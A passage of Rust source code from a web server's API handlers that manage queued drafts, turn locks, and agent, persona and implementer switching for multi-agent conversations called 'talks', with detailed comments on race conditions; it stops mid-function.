9968        blocking(move || {
9969            ids.into_iter()
9970                .map(|att_id| {
9971                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9972                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9973                    })
9974                })
9975                .collect::<ApiResult<Vec<talk::Attachment>>>()
9976        })
9977        .await?
9978    };
9979    let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
9980        .await.map_err(ApiError::from)?;
9981
9982    // Pending recovery and a new immediate turn are decided under the same
9983    // claim lock. Without that one critical section, a second `/say` can see
9984    // the first request's claim as "busy" and append itself to the recovered
9985    // draft before the first request rejects it.
9986    let start = {
9987        let ui = Arc::clone(&ui);
9988        let id = id.clone();
9989        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9990    };
9991    let turn_guard = match start {
9992        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9993        TalkTurnStart::Pending => {
9994            return Err(ApiError::conflict(
9995                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9996            ));
9997        }
9998        TalkTurnStart::Foreign => {
9999            return Err(ApiError::conflict(
10000                "a turn is already running in another process; try again when it has finished",
10001            ));
10002        }
10003        TalkTurnStart::Busy => {
10004            // A turn is already running: queue rather than refuse. See
10005            // `Ui::begin_talk_turn` and `talk::queue`.
10006            //
10007            // The queue write and the drain it may owe live inside the task
10008            // `tokio::spawn` hands to the runtime, for the same reason the
10009            // immediate path below puts `record` there: a dropped handler
10010            // future must not be able to land between a durable write and
10011            // the task that answers it. `blocking` runs its closure on
10012            // `spawn_blocking`, which finishes whether or not anyone is left
10013            // to receive its result - so a disconnect at the `.await` below
10014            // would otherwise leave the draft persisted and the reclaimed
10015            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
10016            // ever started and the queued text stranded until some later
10017            // `say` happened to pick it up. The caller's 202 travels back
10018            // over a `oneshot`, sent the moment the write lands.
10019            let (tx, rx) = tokio::sync::oneshot::channel();
10020            tokio::spawn({
10021                let ui = Arc::clone(&ui);
10022                let id = id.clone();
10023                let said = body.text.clone();
10024                let reply_to = body.reply_to.clone();
10025                async move {
10026                    let written = blocking({
10027                        let ui = Arc::clone(&ui);
10028                        let id = id.clone();
10029                        move || {
10030                            let mut talk = ui.talks.get(&id)?;
10031                            // A test-only stop point, right before the write
10032                            // an interleaving test needs to pin - see
10033                            // `BusyQueueGate`. `None` in every real server:
10034                            // the field only exists under `#[cfg(test)]`.
10035                            #[cfg(test)]
10036                            if let Some(gate) = ui
10037                                .busy_queue_gate
10038                                .lock()
10039                                .unwrap_or_else(PoisonError::into_inner)
10040                                .take()
10041                            {
10042                                let _ = gate.reached.send(());
10043                                let _ = gate.release.recv();
10044                            }
10045                            if let Err(error) = talk::queue_reply(
10046                                &mut talk,
10047                                &ui.talks,
10048                                &said,
10049                                attachments,
10050                                reply_to,
10051                            ) {
10052                                if let Ok(fresh) = ui.talks.get(&id) {
10053                                    if !fresh.status.open() {
10054                                        return Err(ApiError::conflict(format!(
10055                                            "talk {} is {} and takes no more turns",
10056                                            fresh.short(),
10057                                            fresh.status.as_str()
10058                                        )));
10059                                    }
10060                                }
10061                                return Err(
10062                                    if error.to_string().contains("invalid reply target") {
10063                                        ApiError::bad_request("invalid reply target")
10064                                    } else {
10065                                        ApiError::from(error)
10066                                    },
10067                                );
10068                            }
10069                            // The turn that looked busy a moment ago can have
10070                            // finished, found nothing to drain and given up the
10071                            // slot in the gap between that check and this write
10072                            // landing - see `drain_loop`'s own doc for the other
10073                            // half of why that gap would otherwise be able to
10074                            // open at all. Reclaiming the slot here, rather than
10075                            // trusting that whoever held it is still watching, is
10076                            // what stops the text just queued from being stranded
10077                            // until an unrelated future `say` happens to drain
10078                            // it.
10079                            let claim = match ui.begin_queued_talk_turn(&id)? {
10080                                Some(turn_guard) => {
10081                                    let cfg = talk.config()?;
10082                                    Some((talk.clone(), cfg, turn_guard))
10083                                }
10084                                None => None,
10085                            };
10086                            let thinking = ui.is_thinking(&id);
10087                            Ok((TalkView::new(talk, thinking, &ui), claim))
10088                        }
10089                    })
10090                    .await;
10091                    #[cfg(not(test))]
10092                    {
10093                        match written {
10094                            Ok((view, reclaimed)) => {
10095                                let launched = crate::chat_worker::spawn_turn(&ui.talks, &id).await;
10096                                drop(reclaimed);
10097                                match launched {
10098                                    Ok(_) => { let _ = tx.send(Ok(view)); }
10099                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10100                                }
10101                            }
10102                            Err(error) => { let _ = tx.send(Err(error)); }
10103                        }
10104                    }
10105                    #[cfg(test)]
10106                    {
10107                    let (view, reclaimed) = match written {
10108                        Ok(pair) => pair,
10109                        Err(e) => {
10110                            // Nobody is listening if the handler's own future
10111                            // was already dropped - that is fine, nothing was
10112                            // persisted and there is no response left to carry
10113                            // this error to.
10114                            let _ = tx.send(Err(e));
10115                            return;
10116                        }
10117                    };
10118                    // If this fails, the caller is gone; the drain below still
10119                    // runs exactly as it would have for a caller that stayed.
10120                    let _ = tx.send(Ok(view));
10121                    if let Some((talk, cfg, turn_guard)) = reclaimed {
10122                        let talks = ui.talks.clone();
10123                        drain_loop(talk, talks, cfg, id, turn_guard).await;
10124                    }
10125                    }
10126                }
10127            });
10128            let view = rx
10129                .await
10130                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10131            return Ok((StatusCode::ACCEPTED, Json(view)));
10132        }
10133    };
10134
10135    let (talk, cfg) = {
10136        let ui = Arc::clone(&ui);
10137        let id = id.clone();
10138        blocking(move || {
10139            let talk = ui.talks.get(&id)?;
10140            let cfg = talk.config()?;
10141            Ok((talk, cfg))
10142        })
10143        .await?
10144    };
10145
10146    let talks = ui.talks.clone();
10147    // `record` runs *inside* the spawned task, rather than in this handler
10148    // followed by a separate `tokio::spawn` for `respond` - axum drops this
10149    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
10150    // doc), and that drop can land at any `.await` this function makes,
10151    // including one that has already produced its result but not yet
10152    // resumed. A message could end up recorded on disk with the handler
10153    // future gone before it ever reached the `tokio::spawn` that would have
10154    // started the reply. `tokio::spawn` itself is a plain, synchronous call
10155    // that hands the whole future to the runtime as one unit - once made, no
10156    // later drop of *this* handler's own future (that call's return value is
10157    // never held onto here) can reach back in and stop it, so record and the
10158    // hand-off to `respond` are unconditionally atomic from the client's
10159    // point of view. The immediate response this handler owes the caller
10160    // travels back over a `oneshot`, sent the moment `record` succeeds.
10161    let (tx, rx) = tokio::sync::oneshot::channel();
10162    tokio::spawn({
10163        #[cfg(test)]
10164        let ui = Arc::clone(&ui);
10165        let talks = talks.clone();
10166        let id = id.clone();
10167        let said = body.text.clone();
10168        let reply_to = body.reply_to.clone();
10169        let mut talk = talk.clone();
10170        async move {
10171            let recorded = blocking({
10172                let talks = talks.clone();
10173                move || {
10174                    if let Err(error) =
10175                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
10176                    {
10177                        if let Ok(fresh) = talks.get(&talk.id) {
10178                            if !fresh.status.open() {
10179                                return Err(ApiError::conflict(format!(
10180                                    "talk {} is {} and takes no more turns",
10181                                    fresh.short(),
10182                                    fresh.status.as_str()
10183                                )));
10184                            }
10185                        }
10186                        return Err(if error.to_string().contains("invalid reply target") {
10187                            ApiError::bad_request("invalid reply target")
10188                        } else {
10189                            ApiError::from(error)
10190                        });
10191                    }
10192                    // `record` mutates `talk` in place to the freshly persisted
10193                    // state (status, pending, and the just-appended operator
10194                    // turn), so returning it here is equivalent to re-reading it
10195                    // from disk - without the extra round trip a re-read would
10196                    // need.
10197                    Ok((said.trim().to_owned(), talk))
10198                }
10199            })
10200            .await;
10201            let (text, talk) = match recorded {
10202                Ok(pair) => pair,
10203                Err(e) => {
10204                    // Nobody is listening if the handler's own future was
10205                    // already dropped - that is fine, there is no response
10206                    // left to carry this error to and nothing was persisted.
10207                    let _ = tx.send(Err(e));
10208                    return;
10209                }
10210            };
10211            #[cfg(not(test))]
10212            {
10213                let _ = (&cfg, &text);
10214                // The reservation becomes durable while this process still
10215                // holds the talk lease. The child waits for that lease; the
10216                // new UI sees its startup reservation immediately.
10217                let result = crate::chat_worker::spawn_recorded_turn(
10218                    &talks, &id, talk.turns.len() - 1,
10219                ).await;
10220                drop(turn_guard);
10221                match result {
10222                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
10223                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
10224                }
10225            }
10226            #[cfg(test)]
10227            {
10228            let queued = talk.clone();
10229            let mut talk = talk;
10230            let thinking = ui.is_thinking(&id);
10231            // If this fails, the caller is gone; the turn still runs below
10232            // exactly as it would have for a caller that stayed connected.
10233            let _ = tx.send(Ok((queued, thinking)));
10234
10235            let turn_index = talk.turns.len() - 1;
10236            if let Err(e) = turn_guard
10237                .respond_at(&mut talk, &talks, &cfg, &text, Some(turn_index))
10238                .await
10239            {
10240                // `respond` records the failure in the transcript itself,
10241                // which is what the phone reads; this line is for the
10242                // operator's terminal.
10243                tracing::warn!("talk {id} turn failed: {e:#}");
10244            }
10245            // Anything `talk::queue` added while the turn above was running
10246            // is still owed an answer - see `drain_loop`.
10247            drain_loop(talk, talks, cfg, id, turn_guard).await;
10248            }
10249        }
10250    });
10251
10252    let (queued, thinking) = rx
10253        .await
10254        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
10255
10256    // 202: the operator's message is recorded and a turn is running.
10257    Ok((
10258        StatusCode::ACCEPTED,
10259        Json(TalkView::new(queued, thinking, &ui)),
10260    ))
10261    }).await
10262}
10263
10264/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
10265/// changing it. The turn guard is the same per-talk ownership `talk_say`
10266/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
10267async fn talk_pending_resume(
10268    State(ui): State<Arc<Ui>>,
10269    Path(id): Path<String>,
10270) -> ApiResult<(StatusCode, Json<TalkView>)> {
10271    let admission = ui.begin_admission()?;
10272    admitted(admission, async move {
10273        let id = {
10274            let ui = Arc::clone(&ui);
10275            let asked = id.clone();
10276            blocking(move || resolve_talk(&ui.talks, &asked)).await?
10277        };
10278        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10279            .await
10280            .map_err(ApiError::from)?;
10281        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10282            return Err(ApiError::conflict(
10283                "a talk turn is already running; the queued draft will be handled by it",
10284            ));
10285        };
10286        let (talk, cfg) = {
10287            let ui = Arc::clone(&ui);
10288            let id = id.clone();
10289            blocking(move || {
10290                let talk = ui.talks.get(&id)?;
10291                if !talk.status.open() {
10292                    return Err(ApiError::conflict(format!(
10293                        "talk {} is {} and takes no more turns",
10294                        talk.short(),
10295                        talk.status.as_str()
10296                    )));
10297                }
10298                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10299                    return Err(ApiError::conflict("there is no queued draft to resume"));
10300                }
10301                let cfg = talk.config()?;
10302                Ok((talk, cfg))
10303            })
10304            .await?
10305        };
10306        let view = TalkView::new(talk.clone(), true, &ui);
10307        let talks = ui.talks.clone();
10308        #[cfg(not(test))]
10309        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10310        #[cfg(test)]
10311        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10312        Ok((StatusCode::ACCEPTED, Json(view)))
10313    })
10314    .await
10315}
10316
10317/// Hand off an admitted draft while retaining the talk lease until its
10318/// detached startup reservation is durable.
10319#[cfg(not(test))]
10320async fn detach_talk_turn(
10321    _talk: Talk,
10322    talks: Talks,
10323    _cfg: Config,
10324    id: String,
10325    turn: TalkTurnGuard,
10326) -> ApiResult<()> {
10327    let launched = crate::chat_worker::spawn_turn(&talks, &id).await;
10328    drop(turn);
10329    launched.map(|_| ()).map_err(ApiError::from)
10330}
10331
10332#[cfg(test)]
10333async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
10334    drain_loop_started(talk, talks, cfg, id, turn, None).await;
10335}
10336
10337/// A settings response must not report idle while its claim is still held.
10338/// Wait until the first drain either releases the claim or promotes a draft.
10339/// The task owns the guard even if the HTTP handler is cancelled while waiting.
10340async fn settle_settings_turn(
10341    talk: Talk,
10342    talks: Talks,
10343    cfg: Config,
10344    id: String,
10345    turn: TalkTurnGuard,
10346    observed: u64,
10347) -> bool {
10348    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
10349        let turns = Arc::clone(&turn.turns);
10350        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
10351        if live.queued.get(&id).copied().unwrap_or(0) == observed {
10352            // Release under the arrival lock; a later `/say` takes its own claim.
10353            turn.release(&mut live);
10354            return false;
10355        }
10356    }
10357    let (started, settled) = tokio::sync::oneshot::channel();
10358    tokio::spawn(drain_loop_started(
10359        talk,
10360        talks,
10361        cfg,
10362        id,
10363        turn,
10364        Some(started),
10365    ));
10366    settled.await.unwrap_or(false)
10367}
10368
10369#[cfg(not(test))]
10370async fn drain_loop_started(
10371    talk: Talk,
10372    talks: Talks,
10373    _cfg: Config,
10374    id: String,
10375    turn: TalkTurnGuard,
10376    started: Option<tokio::sync::oneshot::Sender<bool>>,
10377) {
10378    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
10379    let running = if pending {
10380        match crate::chat_worker::spawn_turn(&talks, &id).await {
10381            Ok(_) => true,
10382            Err(error) => {
10383                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10384                false
10385            }
10386        }
10387    } else {
10388        false
10389    };
10390    drop(turn);
10391    if let Some(started) = started {
10392        let _ = started.send(running);
10393    }
10394}
10395
10396// Existing in-process conversation tests exercise transcript/arrival ordering;
10397// real process-lifetime behavior is covered by the CLI integration tests.
10398#[cfg(test)]
10399async fn drain_loop_started(
10400    mut talk: Talk,
10401    talks: Talks,
10402    cfg: Config,
10403    id: String,
10404    turn: TalkTurnGuard,
10405    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10406) {
10407    let live_set = Arc::clone(&turn.turns);
10408    // `Option` rather than binding `turn` directly to a `_turn` that lives
10409    // for the whole function: releasing it has to happen by calling
10410    // `TalkTurnGuard::release` from inside the locked branch below, which
10411    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10412    // remove the id - correctly, if this loop is ever left some other way -
10413    // but doing it there misses the lock this loop is already holding, which
10414    // is the exact gap `release` exists to close.
10415    let mut turn = Some(turn);
10416    loop {
10417        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10418            // The lease was taken over while a turn ran. Whatever is queued
10419            // stays a draft; running it here would race the new owner.
10420            tracing::warn!("talk {id} lost its turn lease; not draining further");
10421            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10422            if let Some(turn) = turn.take() {
10423                turn.release(&mut live);
10424            }
10425            break;
10426        }
10427        // `talk::drain` takes the store lock and can write/rename the talk
10428        // file. Keep the turn mutex out of that synchronous work: it protects
10429        // every talk's in-memory claim, not this talk's disk operation.
10430        let observed = live_set
10431            .lock()
10432            .unwrap_or_else(PoisonError::into_inner)
10433            .queued
10434            .get(&id)
10435            .copied()
10436            .unwrap_or(0);
10437        let drained = blocking({
10438            let talks = talks.clone();
10439            move || {
10440                let result = talk::drain_indexed(&mut talk, &talks);
10441                Ok((talk, result))
10442            }
10443        })
10444        .await;
10445        let (next_talk, result) = match drained {
10446            Ok(drained) => drained,
10447            Err(e) => {
10448                tracing::warn!(
10449                    status = %e.status,
10450                    message = %e.message,
10451                    "talk {id} could not start queued-text drain"
10452                );
10453                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10454                turn.take()
10455                    .expect("held for the whole loop until released here")
10456                    .release(&mut live);
10457                break;
10458            }
10459        };
10460        talk = next_talk;
10461        let (drained, drained_index) = match result {
10462            Ok(Some(drained)) => drained,
10463            Ok(None) => {
10464                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10465                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10466                    continue;
10467                }
10468                turn.take()
10469                    .expect("held for the whole loop until released here")
10470                    .release(&mut live);
10471                break;
10472            }
10473            Err(e) => {
10474                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10475                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10476                turn.take()
10477                    .expect("held for the whole loop until released here")
10478                    .release(&mut live);
10479                break;
10480            }
10481        };
10482        if let Some(started) = started.take() {
10483            let _ = started.send(true);
10484        }
10485        let responded = match turn.as_ref() {
10486            Some(turn) => {
10487                turn.respond_at(&mut talk, &talks, &cfg, &drained, Some(drained_index))
10488                    .await
10489            }
10490            None => Err(anyhow::anyhow!("the turn guard was released")),
10491        };
10492        if let Err(e) = responded {
10493            tracing::warn!("talk {id} turn failed: {e:#}");
10494        }
10495    }
10496    drop(turn);
10497    if let Some(started) = started {
10498        let _ = started.send(false);
10499    }
10500}
10501
10502/// Clear a queued draft only if it remains exactly the one the caller saw.
10503async fn talk_pending_clear(
10504    State(ui): State<Arc<Ui>>,
10505    Path(id): Path<String>,
10506    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10507) -> ApiResult<Json<TalkView>> {
10508    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10509    blocking(move || {
10510        let id = resolve_talk(&ui.talks, &id)?;
10511        let mut talk = ui.talks.get(&id)?;
10512        if !talk.status.open() {
10513            return Err(ApiError::conflict(format!(
10514                "talk {} is {} and takes no more turns",
10515                talk.short(),
10516                talk.status.as_str()
10517            )));
10518        }
10519        if !talk::clear_pending_if_matches(
10520            &mut talk,
10521            &ui.talks,
10522            &body.expected_text,
10523            &body.expected_attachments,
10524        )? {
10525            return Err(ApiError::conflict(
10526                "queued message changed; reload it before clearing",
10527            ));
10528        }
10529        let thinking = ui.is_thinking(&talk.id);
10530        Ok(Json(TalkView::new(talk, thinking, &ui)))
10531    })
10532    .await
10533}
10534
10535/// Atomically edit a queued draft's text while preserving its attachments.
10536/// The snapshot fields make a concurrent queue or drain a conflict rather
10537/// than silently discarding either message.
10538async fn talk_pending_edit(
10539    State(ui): State<Arc<Ui>>,
10540    Path(id): Path<String>,
10541    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10542) -> ApiResult<Json<TalkView>> {
10543    let admission = ui.begin_admission()?;
10544    admitted(admission, async move {
10545        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10546        let id = {
10547            let ui = Arc::clone(&ui);
10548            blocking(move || resolve_talk(&ui.talks, &id)).await?
10549        };
10550        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10551            .await
10552            .map_err(ApiError::from)?;
10553        let (view, reclaimed) = blocking({
10554            let ui = Arc::clone(&ui);
10555            move || {
10556                let mut talk = ui.talks.get(&id)?;
10557                if !talk.status.open() {
10558                    return Err(ApiError::conflict(format!(
10559                        "talk {} is {} and takes no more turns",
10560                        talk.short(),
10561                        talk.status.as_str()
10562                    )));
10563                }
10564                if !talk::edit_pending_message(
10565                    &mut talk,
10566                    &ui.talks,
10567                    &body.text,
10568                    &body.expected_text,
10569                    &body.expected_attachments,
10570                    body.message,
10571                )? {
10572                    return Err(ApiError::conflict(
10573                        "queued message changed; reload it before editing",
10574                    ));
10575                }
10576                let claim = match ui.begin_queued_talk_turn(&id)? {
10577                    Some(turn_guard) => {
10578                        let cfg = talk.config()?;
10579                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10580                    }
10581                    None => None,
10582                };
10583                let thinking = ui.is_thinking(&id);
10584                Ok((TalkView::new(talk, thinking, &ui), claim))
10585            }
10586        })
10587        .await?;
10588        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10589            let talks = ui.talks.clone();
10590            #[cfg(not(test))]
10591            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10592            #[cfg(test)]
10593            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10594        }
10595        Ok(Json(view))
10596    })
10597    .await
10598}
10599
10600/// The 409 for a talk that takes no more turns.
10601fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10602    if talk.status.open() {
10603        return Ok(());
10604    }
10605    Err(ApiError::conflict(format!(
10606        "talk {} is {} and takes no more turns",
10607        talk.short(),
10608        talk.status.as_str()
10609    )))
10610}
10611
10612/// The body of `POST /api/talks/{id}/agent`.
10613#[derive(Debug, Deserialize)]
10614struct TalkAgent {
10615    agent: String,
10616}
10617
10618/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10619/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10620/// start a turn on the old session between the check and the write; one that
10621/// arrives in that window finds the talk busy and becomes a draft.
10622async fn talk_agent(
10623    State(ui): State<Arc<Ui>>,
10624    Path(id): Path<String>,
10625    Json(body): Json<TalkAgent>,
10626) -> ApiResult<Json<TalkView>> {
10627    let admission = ui.begin_admission()?;
10628    admitted(admission, async move {
10629        let id = {
10630            let ui = Arc::clone(&ui);
10631            blocking(move || resolve_talk(&ui.talks, &id)).await?
10632        };
10633        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10634            .await
10635            .map_err(ApiError::from)?;
10636        let cfg = {
10637            let ui = Arc::clone(&ui);
10638            let id = id.clone();
10639            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10640        };
10641        // Refuse before taking the claim; see `talk_implementers`.
10642        {
10643            let ui = Arc::clone(&ui);
10644            let id = id.clone();
10645            let cfg = cfg.clone();
10646            let wanted = body.agent.clone();
10647            blocking(move || {
10648                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10649                    .map_err(ApiError::bad_request_from)?;
10650                refuse_if_closed(&ui.talks.get(&id)?)
10651            })
10652            .await?;
10653        }
10654        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10655            return Err(ApiError::conflict(
10656                "a talk turn is running; change the agent once it has answered",
10657            ));
10658        };
10659        let switched = {
10660            let ui = Arc::clone(&ui);
10661            let id = id.clone();
10662            let cfg = cfg.clone();
10663            blocking(move || {
10664                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10665                    .map_err(ApiError::bad_request_from)?;
10666                let mut talk = ui.talks.get(&id)?;
10667                if !talk.status.open() {
10668                    return Err(ApiError::conflict(format!(
10669                        "talk {} is {} and takes no more turns",
10670                        talk.short(),
10671                        talk.status.as_str()
10672                    )));
10673                }
10674                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10675                Ok(talk)
10676            })
10677            .await
10678        };
10679        // A `/say` that landed while this held the claim saw the talk busy and
10680        // left a durable draft, trusting the claim's owner to drain it. So the
10681        // claim is settled whatever the outcome. Release an empty draft's claim
10682        // before replying; queued drafts continue independently of the handler.
10683        let observed = ui.queued_generation(&id);
10684        let fresh = {
10685            let ui = Arc::clone(&ui);
10686            let id = id.clone();
10687            blocking(move || Ok(ui.talks.get(&id)?)).await
10688        };
10689        let draining = match fresh {
10690            Ok(talk) => {
10691                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10692            }
10693            Err(_) => false,
10694        };
10695        let talk = switched?;
10696        Ok(Json(TalkView::new(talk, draining, &ui)))
10697    })
10698    .await
10699}
10700
10701/// The body of `POST /api/talks/{id}/persona`.
10702#[derive(Debug, Deserialize)]
10703struct TalkPersona {
10704    persona: String,
10705}
10706
10707/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10708/// like [`talk_agent`]: the turn guard is held for the change and always handed
10709/// to `drain_loop`, so a draft left meanwhile is not stranded.
10710async fn talk_persona(
10711    State(ui): State<Arc<Ui>>,
10712    Path(id): Path<String>,
10713    Json(body): Json<TalkPersona>,
10714) -> ApiResult<Json<TalkView>> {
10715    let admission = ui.begin_admission()?;
10716    admitted(admission, async move {
10717        let id = {
10718            let ui = Arc::clone(&ui);
10719            blocking(move || resolve_talk(&ui.talks, &id)).await?
10720        };
10721        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10722            .await
10723            .map_err(ApiError::from)?;
10724        let cfg = {
10725            let ui = Arc::clone(&ui);
10726            let id = id.clone();
10727            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10728        };
10729        // Refuse before taking the claim; see `talk_implementers`.
10730        {
10731            let ui = Arc::clone(&ui);
10732            let id = id.clone();
10733            let cfg = cfg.clone();
10734            let wanted = body.persona.clone();
10735            blocking(move || {
10736                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10737                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10738                }
10739                refuse_if_closed(&ui.talks.get(&id)?)
10740            })
10741            .await?;
10742        }
10743        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10744            return Err(ApiError::conflict(
10745                "a talk turn is running; change the persona once it has answered",
10746            ));
10747        };
10748        let switched = {
10749            let ui = Arc::clone(&ui);
10750            let id = id.clone();
10751            let cfg = cfg.clone();
10752            blocking(move || {
10753                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10754                    return Err(ApiError::bad_request(format!(
10755                        "unknown persona `{}`",
10756                        body.persona
10757                    )));
10758                };
10759                let mut talk = ui.talks.get(&id)?;
10760                if !talk.status.open() {
10761                    return Err(ApiError::conflict(format!(
10762                        "talk {} is {} and takes no more turns",
10763                        talk.short(),
10764                        talk.status.as_str()
10765                    )));
10766                }
10767                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10768                Ok(talk)
10769            })
10770            .await
10771        };
10772        // As in `talk_agent`: settle the claim before replying, even on refusal.
10773        let observed = ui.queued_generation(&id);
10774        let fresh = {
10775            let ui = Arc::clone(&ui);
10776            let id = id.clone();
10777            blocking(move || Ok(ui.talks.get(&id)?)).await
10778        };
10779        let draining = match fresh {
10780            Ok(talk) => {
10781                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10782            }
10783            Err(_) => false,
10784        };
10785        let talk = switched?;
10786        Ok(Json(TalkView::new(talk, draining, &ui)))
10787    })
10788    .await
10789}
10790
10791/// The body of `POST /api/talks/{id}/implementers`.
10792#[derive(Debug, Deserialize)]
10793struct TalkImplementers {
10794    implementers: u8,
10795}
10796
10797/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10798/// like [`talk_agent`]: the turn guard is held for the change and always handed
10799/// to `drain_loop`, so a draft left meanwhile is not stranded.
10800async fn talk_implementers(
10801    State(ui): State<Arc<Ui>>,
10802    Path(id): Path<String>,
10803    Json(body): Json<TalkImplementers>,
10804) -> ApiResult<Json<TalkView>> {
10805    let admission = ui.begin_admission()?;
10806    admitted(admission, async move {
10807        let id = {
10808            let ui = Arc::clone(&ui);
10809            blocking(move || resolve_talk(&ui.talks, &id)).await?
10810        };
10811        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10812            .await
10813            .map_err(ApiError::from)?;
10814        let cfg = {
10815            let ui = Arc::clone(&ui);
10816            let id = id.clone();
10817            blocking(move || Ok(ui.talks.get(&id)?.config()?)).await?
10818        };
10819        // Refuse a request that cannot succeed before taking the claim: a claim
10820        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10821        // moment, so a refusal would make the next request see "busy" instead of
10822        // its own answer. The checks after the claim stay the ones that decide.
10823        {
10824            let ui = Arc::clone(&ui);
10825            let id = id.clone();
10826            let cfg = cfg.clone();
10827            let wanted = body.implementers;
10828            blocking(move || {
10829                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10830                refuse_if_closed(&ui.talks.get(&id)?)
10831            })
10832            .await?;
10833        }
10834        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10835            return Err(ApiError::conflict(
10836                "a talk turn is running; change the implementers once it has answered",
10837            ));
10838        };
10839        let switched = {
10840            let ui = Arc::clone(&ui);
10841            let id = id.clone();
10842            let cfg = cfg.clone();
10843            blocking(move || {
10844                let chosen = talk::check_implementers(body.implementers, &cfg)
10845                    .map_err(ApiError::bad_request)?;
10846                let mut talk = ui.talks.get(&id)?;
10847                if !talk.status.open() {
10848                    return Err(ApiError::conflict(format!(
10849                        "talk {} is {} and takes no more turns",
10850                        talk.short(),
10851                        talk.status.as_str()
10852                    )));
10853                }
10854                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10855                Ok(talk)
10856            })
10857            .await
10858        };
10859        // As in `talk_agent`: settle the claim before replying, even on refusal.
10860        let observed = ui.queued_generation(&id);
10861        let fresh = {
10862            let ui = Arc::clone(&ui);
10863            let id = id.clone();
10864            blocking(move || Ok(ui.talks.get(&id)?)).await
10865        };
10866        let draining = match fresh {
10867            Ok(talk) => {
10868                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10869            }
10870            Err(_) => false,
10871        };
10872        let talk = switched?;
10873        Ok(Json(TalkView::new(talk, draining, &ui)))
10874    })
10875    .await
10876}
10877
10878/// `POST /api/talks/{id}/close`.
10879async fn talk_close(
10880    State(ui): State<Arc<Ui>>,
10881    Path(id): Path<String>,
10882) -> ApiResult<Json<TalkView>> {
10883    blocking(move || {
10884        let id = resolve_talk(&ui.talks, &id)?;
10885        let mut talk = ui.talks.get(&id)?;
10886        talk::close(&mut talk, &ui.talks).map_err(|error| {
10887            if error.is::<talk::ClosePendingInput>() {
10888                ApiError::conflict(format!("{error:#}"))
10889            } else {
10890                ApiError::from(error)
10891            }
10892        })?;
10893        let thinking = ui.is_thinking(&talk.id);
10894        Ok(Json(TalkView::new(talk, thinking, &ui)))
10895    })
10896    .await
10897}
10898
10899/// `POST /api/talks/{id}/reopen`.
10900async fn talk_reopen(
10901    State(ui): State<Arc<Ui>>,
10902    Path(id): Path<String>,
10903) -> ApiResult<Json<TalkView>> {
10904    blocking(move || {
10905        let id = resolve_talk(&ui.talks, &id)?;
10906        let mut talk = ui.talks.get(&id)?;
